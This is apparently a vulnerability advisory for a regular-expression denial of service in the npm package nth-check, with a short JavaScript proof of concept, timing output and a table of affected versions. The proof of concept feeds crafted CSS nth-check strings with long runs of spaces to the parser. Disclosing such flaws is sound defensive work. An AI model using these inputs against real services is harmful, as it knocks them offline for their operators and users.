Asymmetric denial of service - ReDoS In node-nth-check
Description
Inefficient Regular Expression Complexity in nth-check There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js var nthCheck = require("nth-check") for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = '2n' + ' '.repeat(i*10000)+"!"; try { nthCheck.parse(attack_str) }...
The Output
attack_str.length: 10003: 174 ms attack_str.length: 20003: 1427 ms attack_str.length: 30003: 2602 ms attack_str.length: 40003: 4378 ms attack_str.length: 50003: 7473 ms
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version | Patched versions |
|---|---|---|---|
debian 12 | 2.0.1-1 | ||
npm | 2.0.1 | ||
debian 13 | 2.0.1-1 | ||
debian 14 | 2.0.1-1 | ||
debian 11 | 2.0.0-1+deb11u1 |
Aliases
1. 2. 3. 4. 5. 6. 7.
References
1. 2.